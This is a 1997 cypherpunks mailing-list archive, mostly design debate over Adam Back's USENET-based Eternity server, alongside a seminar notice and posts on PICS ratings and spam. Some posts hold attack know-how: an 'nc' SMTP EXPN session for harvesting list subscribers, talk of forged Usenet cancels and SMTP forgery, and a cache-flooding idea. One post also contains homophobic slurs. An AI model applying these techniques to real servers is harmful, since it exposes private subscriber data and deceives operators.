> 
> I urge all rabid libertarians to get a clue about what the
> rating systems are actually trying to accomplish.

There's a similar debate about whether "guns kill people" or "people
kill people"[*].  Although it's the repressive regime that actually
causes the supression, the widespread availability of rating systems
makes it easier for them to do so.

Although the PICS rating system permits diverse rating systems, in
practice the oligopoly in the browser market confines this to the
value system of the ruling elite (unquote).  Notably, the current
RSACi rating system makes no distinction between consenting sex in
marriage and paedophilia: both earn a Sex-4 rating.  Probably many
people feel the first is more acceptable than the second, but they
have no way to express this in current PICS implementations.
(http://www.rsac.org/rating_description.html)

::Boots

[*] The correct answer, by the way, is "politicians kill people"

From rdl at mit.edu  Wed Aug  6 01:23:42 1997
From: rdl at mit.edu (Ryan Lackey)
Date: Wed, 6 Aug 1997 16:23:42 +0800
Subject: spam-- a technological solution/proposal
Message-ID: <199708060812.EAA17863@the-great-machine.mit.edu>

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From rah at shipwright.com  Wed Aug  6 16:58:57 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Wed, 6 Aug 1997 16:58:57 -0700 (PDT)
Subject: Digital Money: New Era or Business as Usual?
Message-ID: 

--- begin forwarded text

Subject: Digital Money: New Era or Business as Usual?
Date: Wed, 6 Aug 97 11:11:20 +0000
x-sender: daveb at mail.hyperion.co.uk
From: "David G.W. Birch" 
To: "Bob Hettinga" 
Mime-Version: 1.0

Bob,

Please repost to e$ and anywhere else you think it might go down well!
The speaker line up is excellent so I'm hoping we can drum up some extra
business by showing it off!!

Digital Money: New Era or Business as Usual?

London, England, 7th-8th October 1997

Hyperion are co-sponsors of a two day seminar bringing together leaders
in the field of digital money and online trading. The seminar is
organised by Unicom  in association with Lotus,
NCR, Computer Associates, Attachmate, IMIS, Automatic ID News, British
Computer Society and the Institute of Management Consultants.

The seminar cost UKP 845 plus VAT where applicable and places should be
booked through Unicom.

Opening Address: Digital Money Directions
David G.W. Birch, Director, Hyperion.

Keynote Address: Monetary Innovation in Historical Perspective
Glyn Davies, Professor Emeritus and economic advisor to Julian Hodge Bank
Ltd. A copy of Glyn's excellent book "A History of Money from Ancient
Times to the Present Day" will be presented free to all delegates with
the compliments of Hyperion.

Digital Money and Laissez-Faire Banking
David Cronin, formerly with Bank of Ireland.

Digital Money Liability
Nick Lockett, Field Fisher Waterhouse.

Why is the Electronic Economy Different?
John Browning (edited Wired UK).

Programmable Currenies
Howard Smith, CSC

Is the Book Entry Transaction Dead?
Bob Hettinga, Digital Commerce Society of Boston

Trading in the Internet Financial System
Ian Grigg, Systemics

The Electronic Purse in Context
Peter Hirsch, Retail Banking Research

Mondex, A Status Report
Steve Maier, Mondex International

E-Cash, GSM and the Net
Julian Wilson, AT&T Unisource

Electronic Purse: the lessons so far
Steve Johnson, Verifone

Getting from Real Money to Electronic Money
Robert Zipplies, DigiCash

Micropayments
Peter Kirby, IBM

The Cybercash Solution Set
Steve Crispinelli, Cybercash

The Millicent Scheme
Henry Gouraud, Digital UK.

------------------------------------------------------------------
David G.W. Birch, Director.      Hyperion, 8 Frederick Sanger Road
http://www.hyperion.co.uk/           Guildford, Surrey GU2 5YD, UK
mailto:daveb at hyperion.co.uk                  Tel:+44(0)1483 301793
Finger for my PGP public key                 Fax:+44(0)1483 561657

Where people, networks and money come together....consult Hyperion

--- end forwarded text

-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/

From mark at unicorn.com  Wed Aug  6 04:28:30 1997
From: mark at unicorn.com (Mark Grant)
Date: Wed, 6 Aug 1997 19:28:30 +0800
Subject: Eternity Uncensorable?
Message-ID: 

Seems to me there's a fundamental flaw with the current Eternity server;
as I understand it the messages are identified by a subject which is the
SHA of their URL, so all that a government need do to censor a particular
site is to scan for those messages and issue cancels. Sure, your site and
those upstream may not accept such messages, but potentially they can
still wipe out a large fraction of the system or at least force users to
change their eternity URLs on a regular basis.

It also doesn't provide true security, since when someone sets up an 
illegal site the gubment can find the messages on Usenet, decrypt them, 
and then threaten the remailer operator who posted them.

I understand that this is just an alpha release, but I don't see any
obvious way to fix these problems with a Usenet-based system. 

	Mark

From dformosa at st.nepean.uws.edu.au  Wed Aug  6 05:01:21 1997
From: dformosa at st.nepean.uws.edu.au (? the Platypus {aka David Formosa})
Date: Wed, 6 Aug 1997 20:01:21 +0800
Subject: JYA Up
In-Reply-To: 
Message-ID: 

-----BEGIN PGP SIGNED MESSAGE-----

On Tue, 5 Aug 1997, Dr.Dimitri Vulis KOTM wrote:

> I urge you to find a more honorable upstream provider.
> Preferrably someone who gets connectivity off of AGIS, who doesn't
> censor content.

You don't get connectivity off of AGIS becuase no-one connnects.  AGIS'
routers ect are so misconfigered ect that pagets seem to move threw it
more by coninicdence then anything else.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

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Version: 2.6.3i
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inmw58XlXSrVOckpKYyOddkv8M+CFtGP1uXr1+unhalmVENcGuLsjCrw/EEICEP1
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=aO0S
-----END PGP SIGNATURE-----

From aba at dcs.ex.ac.uk  Wed Aug  6 05:14:18 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Wed, 6 Aug 1997 20:14:18 +0800
Subject: distributed data store, a la eternity
In-Reply-To: <199708060720.DAA17656@the-great-machine.mit.edu>
Message-ID: <199708061206.NAA01240@server.test.net>

Ryan Lackey  writes:
> I've been looking at the current eternity server, and it's a nice
> thing, but I'm kind of convinced no system like this which does not
> allow for electronic payments for those taking the risks will be
> successful.  Perhaps I'm wrong, but I don't think so.  It takes
> money to run a secure data store.  (my current project depends upon
> secure distribued available data storage, so I've been looking into
> this for a while)

The eternity servers announced recently are experimental.  That is to
say they are designed as a vehicle for improvement.  They are not
completed systems yet.  I am most keen myself to see eternity servers
which are truly resilient; the implementation we have is a first cut.
The whole idea is for it to be improved.

As to the risks issue (being an eternity server operator might lead to
legal hassles, and therefore people need to make money to compensate),
I have three main comments on that:

1. Accepting money for activities might worsen your legal position as
   you are then personally offering services.  This issue has been
   argued about in the past in relation to the idea of having
   for-pay remailers.  I'm not legally qualified to comment on this.

2. With my design the document store is a separate distributed system
   which is now part of the landscape, and is well accepted as a home
   for all kinds of dodgy materials and discussions.  People are used
   to the fact that some alt USENET newsgroups are full of material
   which is illegal in some parts of the world.  If you start from
   scratch with a new document distribution method, your first few
   servers are easy targets, due to small numbers.  People will be
   intolerant of them, and the Feds will probably go for RICO
   conspiracy and lock all 6 up.  Game over before you start.  I agree
   that you can do much better theoretically with this model, but
   you've got to consider existing network social norms, USENET is
   part of the landscape.  You won't simultaneously manage to threaten
   all news admins in the world to close down alt groups, they are in
   too many countries, and admins will rebel, and there will be plenty left. 

   So using USENET allows you to point the finger and say "it's not my
   material, it's just USENET posts".  Much like altavista doesn't
   issue cancel messages for posts in USENET news, it's not their
   problem, they're just providing a view onto a distributed database.
   Or much like providing an open access NNTP server, or access to
   users only as done by thousands of ISPs the world over without
   ill-effect modulo localised attempts to force people to not carry
   some groups.

   Another less openly stated opinion of mine is that the way to do it
   is to start as I have, and add other document sharing channels
   later.  Keep some confusion for the observer as to where the
   material is coming from.  As long as it _might_ have come out of
   USENET news on the fly, you can use that as a cover argument.  If
   the shit hits the fan you can fall back to that.

   Probably long term I think you would want to keep USENET as 
   a fall back system, but definately keep it as the distribution
   channel (it is _the_ most secure way of delivering anonymous
   messages, where you want to protect the recipients identity:
   broadcast it).  Much better than sending mail via anonymous
   remailers.  Mixmaster is good, but not that good in the face of
   repeated posting by one individual of materials which seriously
   annoy a major government.

3. Last argument is the "good enough" argument.  If the above tactic
   of using USENET as a distribution mechanism, and having cacheing,
   and optionally charging for storage, with exchange of articles
   between servers survives censorship in practice, why bother with
   anything more complex.

   For example Ross talks about arranging it so that documents are
   reconstructed from secret shares so that individual servers don't
   know what they've served.  Well that's sexy stuff, and clearly more
   secure if you absolutely must conceal which server served what
   material, if it has definately got the material from a database
   which it owns.

   The basic threat model of my eternity server design is
   disposable nodes.  That is it's like the new low orbit satellite
   systems, the satellites fall in and burn up after a while, but it
   doesn't matter because it's part of the design to keep throwing up
   new ones often enough to ensure continuous cover.  Same for
   eternity servers.  Individuals will cave, but when they do other
   enraged netters will start some more in protest.

   Just look at the Scientologist battles.  It's simply amazing the
   bravery of the Scientologist detractors in face of types of
   harrasement thrown at them.  Despite this the Scientologists are
   losing in that their materials are all over the place.  This
   suggests to me that USENET could work just fine.

   Also there is the possibility of private eternity servers.  That is
   you have an eternity server for your own use only, or only for a
   group of friends, or only for users of your ISP.  That one won't
   come under attack, and provided USENET doesn't get censored you'll
   be ok.

   Perhaps pointing the finger at USENET will be an effective
   strategy.  Perhaps we'll find out one way or another in the next
   few months :-)  Empirical cryptography.

Now some ideas on moving towards a real Anderson Eternity Service (in
small stages, the first steps are far removed), I have several ideas
for where to go next:

a) Cache replacement policy based on number of accesses

   There is currently a cache of eternity documents.  Documents and
   servers are configurable to either cache: on, off, or encrypted.
   One solution to the question of what happens when you fill up that
   100Mb cache is to discard least accessed pages.  Popular stuff stays,
   and you have fixed storage requirements.  The mantra "Disk is cheap".
   It wouldn't kill someone these days to dedicate a 6Gb disk for an
   eternity cache.

b) Have the above cache policy augmented with pay for disk space with
   ecash storage fee included with post.  Realistically for either you
   need a way for eternity servers to ask each other for articles.
   Well they can do that easily enough via http, but you still need
   to know which servers are available.

c) Use news archival services as another database to query.  eg
   altavista, dejanews.  I am starting to think that this is not such
   a hot idea now, because it's too centralised, and the operators are
   already hostile to bloat of their archive space, and do things like
   truncate UUencoded documents, and PGP ascii armored documents already.
   I mean ok, I'm sure we could run a war of new crude stego improvements
   being countered by more advanced eternity article detectors, up until
   we get to a natural langauge looking stego encoder.  Texto is a simple
   example of one of these.

> Would anyone else be interested in working on a real reliable
> distributed data store, more like what Anderson described than the
> current Eternity server?  Specifically, something with payment
> systems built in, 

Payment is definately going to go in.  It will be necessary to control
volume somehow if it gets popular, and it allows providors to cover
their expenses.  Charging for document download might be an idea also
to cover bandwidth.

> a multiplicity of ways to pass messages from server to server, 

That has to come also, because of USENET expiring, and because of the
non-distributed nature of systems of using the news archival services
(dejanews etc).

Initial ideas are:

- have list of eternity servers, and query them randomly until you
find one which has the document.  Pro: simple solution, fast lookup,
Con: has easily accessible comprehensive list of who's running
eternity servers.

- build something in terms of remailers to allow eternity servers to
query each other anonymously.  Con: _slow_ lookup.

- build specialised DC-net or pipe net setup with eternity servers on
it.  Pro: fast lookup, harder to track who's serving what, Con: no
implementations yet, con #2 provides a fat target for distrupting,
take out the DC net/pipenet and the document exchange connectivity
fails.

- secret sharing documents over eternity servers

> and a multi-level design in which a maximum amount of anonymity is
> preserved?

One approach would be to treat anonymity as a separable issue from the
issue of hiding which server served which document (and issues of
secret sharing etc).

That is couldn't the viewer use crowds, or less securely
www.anonymizer.com.

However I think there is an opportunity to have the document
constructed by the eternity server nodes in such a way that only the
requester can reconstruct the document.  Eg each server encrypt the
share it is serving with the requesters public key.  Then only the
requester can recover the shares and hence the document.  You should
make sure it's forward secrect too.

> I'm not saying I don't like the current eternity server, just that
> I'd like to work on one with payment systems built in, 

I'm all for payment methods.  Perhaps hascash
(http://www.dcs.ex.ac.uk/~aba/hashcash/) would be a good experimental
currency to get it working with first, and then switch to real
anonymous ecash a bit later.

> and more closely following the original idea for an eternity server
> (which I thought was a great one).

I'm all for making things as resilient and crypgraphically strong as
you can.  However I think part of the reason for different opinions is
that you are addressing three issues at once:

  - non censorable document store
  - preventing people correlating material with the server which served it
  - making the users accesses anonymous

The design of my eternity server as it is at the moment trying to
address just:

  - non censorable document store

by relying on the low orbit satellite model for public access servers,
and the borrowing from the dififculty of censoring USENET news.

Mild attempts can be made to protect correlation of users with
material accessed:

  - enable ssl on the server

(Cheap solution I know, as it relies on the trustworthiness of the
operators of the server, and that the system hasn't been compromised
by hackers, and that you have possibility of MITM attack if the
servers certificate isn't authenticated, or even if it is with a more
determined long term MITM attack).

No attempt is made to prevent:

  - people correlating material with the server which served it

because that is outside the design criteria.  Who cares what they
correlate for the server.  The server is just forwarding you USENET
news articles, just like an open access NNTP server, with a bit of
reformatting.

If someone takes enough exception to that there will be plenty of
other eternity servers to take up the slack.

Please feel free to take and hack the eternity-0.08 source code, and
contribute, or hack it for your whatever purposes.

I'd be interested in any comments on this somewhat long post from
yourself, and other readers.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0

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From aba at dcs.ex.ac.uk  Wed Aug  6 06:50:17 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Wed, 6 Aug 1997 21:50:17 +0800
Subject: Eternity Uncensorable?
In-Reply-To: 
Message-ID: <199708061308.OAA02171@server.test.net>

These comments are useful, as eternity needs some documentation, and
I'm supposed to be writing an article for Phrack on this for deadline
of this sunday, and arguing with people is a good way to get
motivation to write explanations etc.  This dual purpose is why this
is a longish post.

Mark Grant  writes:
> Seems to me there's a fundamental flaw with the current Eternity
> server; as I understand it the messages are identified by a subject
> which is the SHA of their URL, 

yup.

> so all that a government need do to censor a particular site is to
> scan for those messages and issue cancels. Sure, your site and those
> upstream may not accept such messages, but potentially they can
> still wipe out a large fraction of the system or at least force
> users to change their eternity URLs on a regular basis.

Two comments on this:

- I understand cancels are ignored a lot of places, due to problems with
  censorous people, and pranksters issuing tons of forged cancels.
  These censorous people are actually doing us a big favour because it
  is their actions which has led to the widespread policy of ignoring
  cancels.

  However this is going on other peoples information.  I don't have
  any figures for how widespread the practice of configuring news to
  ignore cancels is.  

  Perhaps we could do a little experiment here, you (or someone who
  has the tools/knowhow handy try cancelling the dozen or so eternity
  articles in alt.anonymous.messages, and we'll have a little survey
  amongst list readers as to how well the cancels work.

- Comment #2.  The eternity servers have caches.  They cache
  documents. (This is configurable).  There is currently no cache
  replacement policy because I haven't got around to it yet.  So
  currently once viewed the docs stay there forever.  (When I do get
  around to cache a replacement policy it will be either least
  accessed, and/or lowest ecash payment).

I'm however not so keen to promote the idea that actually the docs you
are looking at are coming off the servers cache because it's nicer to
leave them presuming it was just read off the NNTP server right then
(which it can be at the moment).

It's a two stage process at the moment:

   - server reads news at some chosen internval and creates database
     of article number, subject field, and message-id field for
     subject fields which look like eternity documents.

   - some user comes along and types a URL which matches the chosen
     hash.  Server fetches document from NNTP or local news spool
     using the article number as looked up in the database.  Depending
     on the eternity.conf setting for cacheing (on/off/encrypted) and
     the document setting (on/off/encrypted) the document will be
     either not cached, cached in clear, or cached in encrypted form
     (with sha1( 1 ) where  is the url of the document).

I could change it to a single stage process so that eternity documents
are immediately cached.  This is something easy to change, which could
be done if people got trigger happy with cancels and it was affecting
things.  Then you would be left with cancel wars :-) The eternity
server would grab the article at first opportunity though.

Later versions of the software will have to exchange documents
somehow, so then as long as one server saw the document before someone
cancelled it you'd be ok.

Clearly you could have an email submission channel where you just
email the article to a server, but that gets away from the idea of
pointing the finger at USENET.  (Cacheing is somewhat protected in
legislation even, because it's just a USENET document, and all you're
doing is cacheing it according to some cache replacement policy).

Some more technical explanations of what's going on encryption wise,
is that articles in the news spool have an outer encryption layer
which encrypts in one of these two ways:

   1) with pgp -c and password "eternity"

   2) with pgp -c and password of sha1( "1" ) 
      where url is the document url

Inside this encryption layer is the document options (document url,
per document cacheing policy, and a marker of whether the document is
exdirectory or not (exdirectory docs not listed on document list).
Plus an optional pgp key, and the ascii armored, optionally signed
document.

There is an optional inner layer of encryption, the ascii armored
signed document can optionally be encrypted:

   3) using a user selected passphrase

Option 1) provides little more protection than rot-13.  But should be
of some use in that it prevents the less clued from reading the
documents out of USENET directly.

Option 2) means that you need to know the URL before you can access
the document.  Without the URL, you're hosed.

Perhaps the URL is easy to guess, perhaps it's not:

	http://warez.eternity/safuwerqwkesadfiqwerdsf/

Option 3) means that you need the passphrase to read the document in
addition to the URL.  This has similar effect to having a garbled URL,
choose a hard to guess passphrase.

You can turn on SSL at the eternity server, but that means you're
still trusting the operator, and root on the system.

To do it properly, you'll need a local eternity server if you want to
good security of encrypted documents.  Easy enough to run a local
eternity server if you're using linux on a ppp or permanently
connected machine.  My development machine is a ppp connected linux
machine.

However I'm not sure having passphrases is that good of an idea,
because it'll be furtively passed around amongst the community of the
person who submitted the documents, but that can always leak out.

And people using non-local eternity servers will be revealing the
shared passphrase to the server admin, (and to the snooping world, if
the server isn't running with SSL turned on).

> It also doesn't provide true security, since when someone sets up an 
> illegal site the gubment can find the messages on Usenet, decrypt them, 
> and then threaten the remailer operator who posted them.

Turn of logs, and introduce forward secrecy into mixmaster.  Easy to
do.  Why don't we have it yet?  (Ulf?  Lance?)

Then you have as true security as you can get from a digital mix with
the parameters mixmaster has.

Don't do too many regular updates of your eternty web pages for very
high risk situations.  Engineered network outages could show you up
quickly even if you were using a DC-net covering 1 million users.

> I understand that this is just an alpha release, but I don't see any
> obvious way to fix these problems with a Usenet-based system. 

Does the above answer your concerns about security?

Medium term software development-wise the eternity servers are going
to have to exchange documents between themselves.  At that point
USENET will be functioning mostly as hard to tamper with distribution
channel.  The rest will be a distributed USENET caching system, with
cache policy determined by popularity of document (hit count), and by
ecash payment.

Longer term perhaps some of Ross Anderson's more advanced ideas can be
added, as discussed by Ryan Lackey in the thread entitled "distributed
data store, a la eternity".

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0
Message-ID: 

On Wed, 6 Aug 1997, Adam Back wrote:

>   However this is going on other peoples information.  I don't have
>   any figures for how widespread the practice of configuring news to
>   ignore cancels is.  

Ditto. We'd have to assume that it's pretty widespread to avoid these 
problems.

> To do it properly, you'll need a local eternity server if you want to
> good security of encrypted documents. 

I'd assume that in the end this is what most people would do; get a Usenet
feed and run a server locally so that noone knows which URLs you're
accessing. 

> Turn of logs, and introduce forward secrecy into mixmaster.  Easy to
> do.  Why don't we have it yet?  (Ulf?  Lance?)
> 
> Then you have as true security as you can get from a digital mix with
> the parameters mixmaster has.

That's not what I meant; I'm assuming that the mixmaster chain is pretty
secure. The problem is that when the government find 'nuclear terrorist
money-laundering kiddie drug porn' on the Eternity server they can trace
it back to the original Usenet message and then go after the remailer
operator who posted it. Making the remailers disposable or setting them up
in free countries would work, but I'd prefer a technical solution. 

	Mark

From dlv at bwalk.dm.com  Wed Aug  6 07:30:34 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 6 Aug 1997 22:30:34 +0800
Subject: Eternity Uncensorable?
In-Reply-To: <199708061308.OAA02171@server.test.net>
Message-ID: <1PP1ae8w165w@bwalk.dm.com>

Adam Back  writes:

> Mark Grant  writes:
>
> > so all that a government need do to censor a particular site is to
> > scan for those messages and issue cancels. Sure, your site and those
> > upstream may not accept such messages, but potentially they can
> > still wipe out a large fraction of the system or at least force
> > users to change their eternity URLs on a regular basis.
>
> Two comments on this:
>
> - I understand cancels are ignored a lot of places, due to problems with
>   censorous people, and pranksters issuing tons of forged cancels.
>   These censorous people are actually doing us a big favour because it
>   is their actions which has led to the widespread policy of ignoring
>   cancels.

Yep. (I hope my making available an easy-to-use program for foring cancels
helped a little too, he he he.)

>   However this is going on other peoples information.  I don't have
>   any figures for how widespread the practice of configuring news to
>   ignore cancels is.

Major ISPs (America Online, Netcom, Earthlink..) all ignore cancels.
More precise numbers would be interesting.

> However I'm not sure having passphrases is that good of an idea,
> because it'll be furtively passed around amongst the community of the
> person who submitted the documents, but that can always leak out.

I can't think of a clever way to use public keys (and don't think this
is a good idea anyway)

> Longer term perhaps some of Ross Anderson's more advanced ideas can be
> added, as discussed by Ryan Lackey in the thread entitled "distributed
> data store, a la eternity".

Adam, you're doing a great job. Can I buy you a dinner when I'm in London?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps

From dlv at bwalk.dm.com  Wed Aug  6 07:36:55 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 6 Aug 1997 22:36:55 +0800
Subject: JYA Up
In-Reply-To: 
Message-ID: 

? the Platypus {aka David Formosa}  writes:

> -----BEGIN PGP SIGNED MESSAGE-----
>
> On Tue, 5 Aug 1997, Dr.Dimitri Vulis KOTM wrote:
>
> > I urge you to find a more honorable upstream provider.
> > Preferrably someone who gets connectivity off of AGIS, who doesn't
> > censor content.
>
> You don't get connectivity off of AGIS becuase no-one connnects.  AGIS'
> routers ect are so misconfigered ect that pagets seem to move threw it
> more by coninicdence then anything else.

(I'm trying to reply to my incoming mail in the order it was received,
still doing last weekend's mail, but I'll make an exception.)

David, it's remarks like these that cause people to conclude that you're
not very bright.  I'm not a customer of AGIS or any of its downstreams,
and I get excellent connectivity to their sites.  I remind the readers
that certain groups on Usenet hate AGIS because of their refusal to
censor content. E.g. read the Net.Scum page for Debbie Taylor to read
how the homos tried to censor the Web site called "www.gothatesfags.com"
and how AGIS refuses to bend over.  For this reason, homos (is David one?)
spread lies ike the above about AGIS, using meaningless technical jargon
and implying that that it doesn't work properly, But the fact is that the
recent study by the Boardwatch magazine ranked AGIS's network third best
among major backbones. (It would be first best of they ranked their
commitment to freedom of speech.)

More power to Phil Lawlor and death to all censors!

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps

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Date: Wed, 6 Aug 1997 22:39:38 -0700 (PDT)
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Message-ID: <1997031600.GAA08056@bigfoot.com>

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From kent at songbird.com  Wed Aug  6 08:14:49 1997
From: kent at songbird.com (Kent Crispin)
Date: Wed, 6 Aug 1997 23:14:49 +0800
Subject: bulk postage fine (was Re: non-censorous spam control)
In-Reply-To: <199708030302.XAA08565@cti06.citenet.net>
Message-ID: <19970806075802.12530@bywater.songbird.com>

On Sun, Aug 03, 1997 at 12:29:37PM +0100, Adam Back wrote:
> Here's the sequence of events as I see it:
> 
>  1. spammer spams you with adverisement for phone sex line
>  2. you try to sue phone sex line company
>  3. phone sex company denies all knowledge
>  4. government says all email must be authenticated 
>  5. government issues internet drivers license
>  6. anonymous remailers work around authentication requirement
>  7. government outlaws remailers
> 
> See any flaws in that logical and undesirable sequence of events?

The flaws become apparent if you try to attach a *realistic*
probability to each step.

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html

From aba at dcs.ex.ac.uk  Wed Aug  6 09:41:53 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Thu, 7 Aug 1997 00:41:53 +0800
Subject: Eternity Uncensorable?
In-Reply-To: <199708061308.OAA02171@server.test.net>
Message-ID: <199708061539.QAA02852@server.test.net>

To follow up to my own post briefly, I said:

: Clearly you could have an email submission channel where you just
: email the article to a server, but that gets away from the idea of
: pointing the finger at USENET.

If the machine hosting the eternity server also has a mail2news
gateway (eg replay has mail2news at replay.com), then modify the
mail2news program to forward a copy to eternity at replay.com for
newsgroups that the eternity server is interested in.

That way it's still a USENET post.  Just you're stacking the odds
against the cancel forger :-) The cancel forger can't get there before
you unless he can read your mind (or your email), but it wouldn't
matter if he could, because eternity would see the document anyway.

http://www.replay.com/aba/eternity/ is reading it's news from
nntp:news.xs4all.nl, but I don't know what their cancel settings are
for their news spool.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0
Message-ID: 

On Tue, 29 Jul 1997, Harry Tuttle Remailer wrote:

> Its pretty straightforward for interested perties to get a list of everyone
> on a mojordomo mailinglist even if the who command is disabled as long as
> we have our old friend sendmail and his trusty sidekick expn.
> 
> nc toad.com 25
> 
> 220 toad.com ESMTP Sendmail 8.7.5/8.7.3;
>  Tue, 29 Jul 1997 12:59:12 -0700 (PDT)
> expn cypherpunks
> 250-<"|/u/majordom/bin/wrapper resend -p bulk  -l cypherpunks -f
> owner-cypherpunks-unedited -h toad.com -s 
> cypherpunks-unedited-outgoing"@toad.com>

if toad.com modified /etc/sendmail.cf to include:

Opnoexpn,novrfy

this wouldn't work. not much of a big mystery there...

---
John Adams -=- Computer Specialist & Network Guru  O-  NADEP Cherry Point
Pensacola Florida   +1.904.452.8551 DSN:922-8551  jadams at seahawk.navy.mil
PGP ID 0x9081AF16 via key server - opinions expressed are entirely my own

From aba at dcs.ex.ac.uk  Wed Aug  6 10:42:01 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Thu, 7 Aug 1997 01:42:01 +0800
Subject: Eternity Uncensorable?
In-Reply-To: 
Message-ID: <199708061632.RAA03261@server.test.net>

Mark Grant  writes:
> On Wed, 6 Aug 1997, Adam Back wrote:
> > To do it properly, you'll need a local eternity server if you want to
> > good security of encrypted documents. 
> 
> I'd assume that in the end this is what most people would do; get a Usenet
> feed and run a server locally so that noone knows which URLs you're
> accessing. 

Indeed.  

Similar perhaps to web based remailer interfaces, you can turn on SSL,
but you're still trusting the server, relying on no hackers being able
to crack it, and relying on your estimate of the authenticity of it's
certificate

If there got to be a _lot_ of eternity documents this might get
impractical.  You wouldn't have the disk space for them all.

The distributed USENET cacheing setup could use cope with a big
archive because the content could also be distributed, and forwarded
on request.  So the complexities of doing something clever to allow
digital mixes to obscure your reading habits might come in again.

Incidentally, I think you could use the same methods to obscure
reading the virtual eternity web as you would use to obscure reading
the real web.  Eg. crowds, www.anonymizer.com.  http://*.eternity/
just happens to be likely to end up hosting a load of "hot" stuff
which you might not want to be caught reading in some countries.

> > Turn of logs, and introduce forward secrecy into mixmaster.  
> 
> That's not what I meant; I'm assuming that the mixmaster chain is
> pretty secure. The problem is that when the government find 'nuclear
> terrorist money-laundering kiddie drug porn' on the Eternity server
> they can trace it back to the original Usenet message and then go
> after the remailer operator who posted it. 

They might have a go at that yes.

> Making the remailers disposable or setting them up in free countries
> would work, but I'd prefer a technical solution.

That _is_ the technical solution!  (Disposable remailers).

Here's a repost of something I posted to remailer-ops on this topic at
around the time a few remailer operators felt the heat.  Nothing new
proposed, but this kind of argument was being hashed out here on
cypherpunks years ago, and we still don't have any disposable
remailers.  As close as we've got that I know is perhaps some
psuedo-anonymous remailer operators running off of cyberpass (Lance
offers anon shell accounts for ecash).

Adam

remailer-ops repost:
======================================================================
From: Adam Back 
To: mail2news at anon.lcs.mit.edu
Cc: remailer-operators at anon.lcs.mit.edu
Subject: disposable camouflaged tents (was Re: Balls remailer under attack.)
In-reply-to: <199706291539.RAA15722 at basement.replay.com> (nobody at REPLAY.COM)
Date: Sun, 29 Jun 1997 23:45:40 +0100

Anonymous writes:
> I'm not sure that's a wise precedent to set.  Once you put the
> self-appointed censors and netcops in the driver's seat, who's to say
> where they might take us?

Agreed.

> [description of censors tatics]
>
> Maybe it's time that the censors were told to keep their noses out
> of our tents, for, like a camel, once you let it put its nose under
> the side of your tent, you soon have the entire camel taking over
> your tent!  Maybe it's time to bop a few intruding noses!

The solution is to have disposable tents, lots of.

What about AOL disks?  We need shorter lived, disposable remailers as
exit remailers...  Let them take the heat, while the real remailers
walk.  Lets see a series of "exitman" remailers.  Exitman remailers
are walking targets left to fend for themselves as long as they may.

I propose that an exit remailer is replaceable, that is another
remailer can instantly step into it's place and take traffic.  The way
to do this is to have a special automated reporting mechanism for
exitman remailers.  An easy way to do it is to have the exitman
remailers send mail to a given mailing list.  Other remailers which
wish to use exitman remailers just subscribe to the chosen mailing
list.  We just need a remailer command indicating the creation of a
new exitman remailer.  I guess the exitman remailer just sends one
message per day, or whatever, and if it stops, you write it off.

Is there a military term for something sent in to get shot to bits,
just to distract attention from other movement?  A decoy?

Also, what about camouflaging the disposable tent, so the camal can't
find it to poke it's nose in?  How about SMTP mail forgeries.
Wouldn't addresses of remailer42 at dev.null fool a lot of these censorous
people?

I wonder if system admins in general would be very interested in
tracking down SMTP forgeries for censors?  If it was obvious what the
censorous shill was up to, or the large ISP sysadmin was just plain
overloaded with work he may just shrug his shoulders and say sorry,
can't be traced, get over it.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0
Message-ID: 

On Wed, 6 Aug 1997, Adam Back wrote:

> Mark Grant  writes:
> > On Wed, 6 Aug 1997, Adam Back wrote:
> > > To do it properly, you'll need a local eternity server if you want to
> > > good security of encrypted documents. 
> > 
> > I'd assume that in the end this is what most people would do; get a Usenet
> > feed and run a server locally so that noone knows which URLs you're
> > accessing. 
> 
> Indeed.  
> 
> Similar perhaps to web based remailer interfaces, you can turn on SSL,
> but you're still trusting the server, relying on no hackers being able
> to crack it, and relying on your estimate of the authenticity of it's
> certificate
> 
> If there got to be a _lot_ of eternity documents this might get
> impractical.  You wouldn't have the disk space for them all.

This is where I see a problem with eternity servers.

If I were going to attack such a system, I would just start to have the
eternity servers store my core files or some other junk.  (Or maybe feed
it the SIMTEL or funet.fi archives.) Enough crap so that you could not
have enough space to store the real important stuff...

